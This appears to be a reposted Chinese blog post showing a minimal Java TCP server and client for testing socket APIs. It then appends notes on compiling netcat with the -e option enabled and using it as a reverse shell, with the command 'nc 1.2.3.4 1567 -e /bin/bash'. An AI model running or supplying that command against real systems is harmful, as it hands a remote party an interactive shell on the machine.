JAVA net之TCP

发布时间:2016-12-11 12:34:14 编辑:www.fx114.net 分享查询网我要评论
本篇文章主要介绍了"JAVA net之TCP",主要涉及到JAVA net之TCP方面的内容,对于JAVA net之TCP感兴趣的同学可以参考一下。

本程序无实用价值,纯粹测试API而已 Server端: package test; import java.io.DataInputStream; import java.net.ServerSocket; import java.net.Socket; public class TCPServer { public static void main(String[] args) throws Exception { ServerSocket ss = new ServerSocket(3721); while(true){ Socket s = ss.accept();//阻塞 Thread.sleep(10000); DataInputStream dis = new DataInputStream(s.getInputStream()); System.out.println(dis.readUTF());//阻塞 dis.close(); s.close(); } } }Client端: package test; import java.io.DataOutputStream; import java.net.Socket; public class TCPClient { public static void main(String[] args) throws Exception { Socket s = new Socket("localhost",3721); System.out.println("连接完毕!"); DataOutputStream dos = new DataOutputStream(s.getOutputStream()); dos.writeUTF("abcde......"); dos.close(); s.close(); } } 附瑞士军刀nc的使用: 1、下载地址:       nc110.tgz 2、编译   tar –zxvf  nc110.tgz解压后,然后用    gcc -O -s -DGAPING_SECURITY_HOLE -DTELNET -DLINUX -static -o nc netcat.c 会出现如下图十四的错误提示,说”undefined reference to `_res_init'”。   为什么会出现这种情况呢?这是因为netcat.c中在main函数中调用了函数res_init(),这是一个glibc中的函数,现在改名为了__res_init(),我们可以用sed命令修改netcat.c或是直接在vi中将res_init()改为__res_init(),这是我们再用上面的gcc命令编译就可以通过,而且gcc的参数-s确保strip操作,这样我们在Linux机器上就有了带-e参数的nc了,我们可以用nc –h看到nc的参数列表。 3、服务端开启监听   nc -l 1567 4、客户端反弹   ./nc 1.2.3.4 1567 -e /bin/bash 5、直接使用军刀成品

上一篇:封装多媒体定时器类和时间核心对象线程类
下一篇:Letter Combinations of a Phone Number

相关文章

关键词: JAVA net之TCP

相关评论